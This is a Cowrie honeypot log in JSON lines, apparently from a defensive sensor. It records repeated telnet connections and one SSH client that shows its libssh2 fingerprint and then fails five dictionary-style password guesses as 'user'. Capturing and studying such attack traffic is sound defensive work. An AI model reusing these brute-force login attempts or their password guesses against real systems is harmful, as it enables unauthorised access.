{"eventid":"cowrie.session.closed","duration":30.16150999069214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:33.062467Z","src_ip":"164.68.118.26","session":"3258fda90f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57140,"dst_ip":"10.17.0.5","dst_port":23,"session":"be14a55177a9","protocol":"telnet","message":"New connection: 45.63.42.31:57140 (10.17.0.5:23) [session: be14a55177a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:33.202371Z"}
{"eventid":"cowrie.session.closed","duration":30.724204778671265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.250732Z","src_ip":"164.68.118.26","session":"cb718055c385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"246c479051ed","protocol":"telnet","message":"New connection: 164.68.118.26:52744 (10.17.0.5:23) [session: 246c479051ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.329068Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"53aaee80a3b5","protocol":"telnet","message":"New connection: 164.68.118.26:53332 (10.17.0.5:23) [session: 53aaee80a3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.481894Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":52384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5edddd1c6277","protocol":"telnet","message":"New connection: 173.198.194.106:52384 (10.17.0.5:23) [session: 5edddd1c6277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.647722Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d7b519406a","protocol":"telnet","message":"New connection: 164.68.118.26:54892 (10.17.0.5:23) [session: a2d7b519406a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.818113Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55168,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d3c812e668","protocol":"telnet","message":"New connection: 164.68.118.26:55168 (10.17.0.5:23) [session: 76d3c812e668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.876680Z"}
{"eventid":"cowrie.session.closed","duration":31.19517970085144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.931686Z","src_ip":"173.198.194.106","session":"51798c128526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55512,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f7fff00a0ea","protocol":"telnet","message":"New connection: 164.68.118.26:55512 (10.17.0.5:23) [session: 3f7fff00a0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:34.960268Z"}
{"eventid":"cowrie.session.closed","duration":30.269983291625977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.103076Z","src_ip":"164.68.118.26","session":"d24d34c471dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59490203857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.111570Z","src_ip":"164.68.118.26","session":"4661e462a5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57732,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c10e79c8e4","protocol":"telnet","message":"New connection: 164.68.118.26:57732 (10.17.0.5:23) [session: 52c10e79c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.570806Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":58138,"dst_ip":"10.17.0.5","dst_port":23,"session":"abf636ab0b86","protocol":"telnet","message":"New connection: 164.68.118.26:58138 (10.17.0.5:23) [session: abf636ab0b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.669475Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16669,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde788f00928","protocol":"ssh","message":"New connection: 2.57.121.25:16669 (10.17.0.5:22) [session: dde788f00928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.785521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.790540Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:35.900366Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5937020778656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:36.128790Z","src_ip":"164.68.118.26","session":"4feca45775d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51408,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3e6a09025d","protocol":"telnet","message":"New connection: 173.198.194.106:51408 (10.17.0.5:23) [session: 9d3e6a09025d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:36.361866Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"blackboy","message":"login attempt [user/blackboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:36.390978Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41754674911499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:37.046330Z","src_ip":"164.68.118.26","session":"97f2a2b0b32d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63880181312561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:37.233430Z","src_ip":"164.68.118.26","session":"4e54279ceb3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35592,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe7d2019e4f3","protocol":"telnet","message":"New connection: 164.68.118.26:35592 (10.17.0.5:23) [session: fe7d2019e4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:37.268462Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"blackass","message":"login attempt [user/blackass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:37.500056Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39428,"dst_ip":"10.17.0.5","dst_port":23,"session":"4955dfe869bd","protocol":"telnet","message":"New connection: 164.68.118.26:39428 (10.17.0.5:23) [session: 4955dfe869bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:38.296242Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"bionic","message":"login attempt [user/bionic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:38.607255Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46142,"dst_ip":"10.17.0.5","dst_port":23,"session":"2afd87d9b612","protocol":"telnet","message":"New connection: 45.63.42.31:46142 (10.17.0.5:23) [session: 2afd87d9b612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:39.222719Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44278,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e651e92e77","protocol":"telnet","message":"New connection: 164.68.118.26:44278 (10.17.0.5:23) [session: c2e651e92e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:39.535607Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44484,"dst_ip":"10.17.0.5","dst_port":23,"session":"460326a1bfa1","protocol":"telnet","message":"New connection: 164.68.118.26:44484 (10.17.0.5:23) [session: 460326a1bfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:39.581641Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"bigpun","message":"login attempt [user/bigpun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:39.713979Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.48136615753174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:39.963286Z","src_ip":"164.68.118.26","session":"f619e9239dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.84","src_port":44595,"dst_ip":"159.203.135.109","dst_port":23,"session":"4446ba7cceb4","protocol":"telnet","message":"New connection: 91.230.168.84:44595 (159.203.135.109:23) [session: 4446ba7cceb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.056850Z"}
{"eventid":"cowrie.session.closed","duration":0.016614675521850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.073291Z","src_ip":"91.230.168.84","session":"4446ba7cceb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752729654312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.081939Z","src_ip":"164.68.118.26","session":"d2a9a6bc663d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.176","src_port":51025,"dst_ip":"159.203.135.109","dst_port":23,"session":"278d5f87e616","protocol":"telnet","message":"New connection: 91.230.168.176:51025 (159.203.135.109:23) [session: 278d5f87e616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.145571Z"}
{"eventid":"cowrie.session.closed","duration":30.368135929107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.197522Z","src_ip":"173.198.194.106","session":"41e3979beea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47048,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd4aae9e0bb","protocol":"telnet","message":"New connection: 164.68.118.26:47048 (10.17.0.5:23) [session: 3fd4aae9e0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.243689Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"bignasty","message":"login attempt [user/bignasty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.820845Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.481236934661865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:40.999709Z","src_ip":"164.68.118.26","session":"2cba9fbc776a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38956,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd72c4c7986","protocol":"telnet","message":"New connection: 164.68.118.26:38956 (10.17.0.5:23) [session: 7fd72c4c7986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.150253Z"}
{"eventid":"cowrie.session.closed","duration":30.499122381210327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.167219Z","src_ip":"164.68.118.26","session":"a33b0e7afa40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51320,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e200686c39","protocol":"telnet","message":"New connection: 164.68.118.26:51320 (10.17.0.5:23) [session: 74e200686c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.388097Z"}
{"eventid":"cowrie.session.closed","duration":30.866213083267212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.415043Z","src_ip":"173.198.194.106","session":"712006ec563e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51534,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eec7a668f37","protocol":"telnet","message":"New connection: 164.68.118.26:51534 (10.17.0.5:23) [session: 7eec7a668f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.436127Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52436,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf55793993db","protocol":"telnet","message":"New connection: 164.68.118.26:52436 (10.17.0.5:23) [session: bf55793993db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.673670Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":52570,"dst_ip":"10.17.0.5","dst_port":23,"session":"958a6d5b2cc1","protocol":"telnet","message":"New connection: 164.68.118.26:52570 (10.17.0.5:23) [session: 958a6d5b2cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.713522Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:41.928003Z","src_ip":"2.57.121.25","session":"dde788f00928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54562,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfadfb0b7c71","protocol":"telnet","message":"New connection: 164.68.118.26:54562 (10.17.0.5:23) [session: cfadfb0b7c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:42.252765Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54776,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fa68039a2f","protocol":"telnet","message":"New connection: 164.68.118.26:54776 (10.17.0.5:23) [session: 69fa68039a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:42.323748Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b1f350c403","protocol":"telnet","message":"New connection: 164.68.118.26:56078 (10.17.0.5:23) [session: 30b1f350c403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:42.665716Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":57426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27e8a476b22","protocol":"telnet","message":"New connection: 164.68.118.26:57426 (10.17.0.5:23) [session: e27e8a476b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:42.998971Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60674,"dst_ip":"10.17.0.5","dst_port":23,"session":"43527d2479af","protocol":"telnet","message":"New connection: 164.68.118.26:60674 (10.17.0.5:23) [session: 43527d2479af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:43.875917Z"}
{"eventid":"cowrie.session.closed","duration":31.158027410507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:44.224478Z","src_ip":"164.68.118.26","session":"027f9cb8e642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884098052978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:44.284521Z","src_ip":"164.68.118.26","session":"3478fb4181e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274914026260376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:44.321616Z","src_ip":"164.68.118.26","session":"421cf5264c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33fd0c2aa71","protocol":"telnet","message":"New connection: 164.68.118.26:36684 (10.17.0.5:23) [session: e33fd0c2aa71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:45.028619Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ca831828dc","protocol":"telnet","message":"New connection: 164.68.118.26:38076 (10.17.0.5:23) [session: d4ca831828dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:45.372862Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38338,"dst_ip":"10.17.0.5","dst_port":23,"session":"989711ae8eed","protocol":"telnet","message":"New connection: 164.68.118.26:38338 (10.17.0.5:23) [session: 989711ae8eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:45.437816Z"}
{"eventid":"cowrie.session.closed","duration":31.176902294158936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:45.812667Z","src_ip":"164.68.118.26","session":"4c9315d3eea7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.959872484207153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:46.023286Z","src_ip":"164.68.118.26","session":"1d6026e1cc8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40612,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae66bc5b07b","protocol":"telnet","message":"New connection: 164.68.118.26:40612 (10.17.0.5:23) [session: 9ae66bc5b07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:46.039083Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41908,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e217c833f1","protocol":"telnet","message":"New connection: 164.68.118.26:41908 (10.17.0.5:23) [session: a0e217c833f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:46.409386Z"}
{"eventid":"cowrie.session.closed","duration":31.07945466041565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:46.416188Z","src_ip":"164.68.118.26","session":"37364a190b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411398887634277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:46.531766Z","src_ip":"164.68.118.26","session":"4710a4ab7380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44908,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8557a554dc5","protocol":"telnet","message":"New connection: 164.68.118.26:44908 (10.17.0.5:23) [session: b8557a554dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:47.310245Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"84efb4dedde2","protocol":"telnet","message":"New connection: 164.68.118.26:44924 (10.17.0.5:23) [session: 84efb4dedde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:47.323453Z"}
{"eventid":"cowrie.session.closed","duration":31.433746814727783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:47.381992Z","src_ip":"164.68.118.26","session":"e6af9b8e978a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46638,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4f41d2a42c","protocol":"telnet","message":"New connection: 164.68.118.26:46638 (10.17.0.5:23) [session: 4f4f41d2a42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:47.740632Z"}
{"eventid":"cowrie.session.closed","duration":30.5026593208313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.085718Z","src_ip":"161.97.181.240","session":"3af8aa0fc44a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48106,"dst_ip":"10.17.0.5","dst_port":23,"session":"af29e942f863","protocol":"telnet","message":"New connection: 164.68.118.26:48106 (10.17.0.5:23) [session: af29e942f863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.276608Z"}
{"eventid":"cowrie.session.closed","duration":31.20334243774414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.337669Z","src_ip":"164.68.118.26","session":"259805a295fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49148,"dst_ip":"10.17.0.5","dst_port":23,"session":"403b80b6c8de","protocol":"telnet","message":"New connection: 164.68.118.26:49148 (10.17.0.5:23) [session: 403b80b6c8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.572883Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"7378ec34040a","protocol":"telnet","message":"New connection: 164.68.118.26:49234 (10.17.0.5:23) [session: 7378ec34040a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.594043Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50262,"dst_ip":"10.17.0.5","dst_port":23,"session":"0996f14ff8d1","protocol":"telnet","message":"New connection: 164.68.118.26:50262 (10.17.0.5:23) [session: 0996f14ff8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.891040Z"}
{"eventid":"cowrie.session.closed","duration":31.2154757976532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.964449Z","src_ip":"164.68.118.26","session":"9c8d128de3bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206059217453003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:04:48.985245Z","src_ip":"164.68.118.26","session":"a60abbb9f957","protocol":"telnet"}
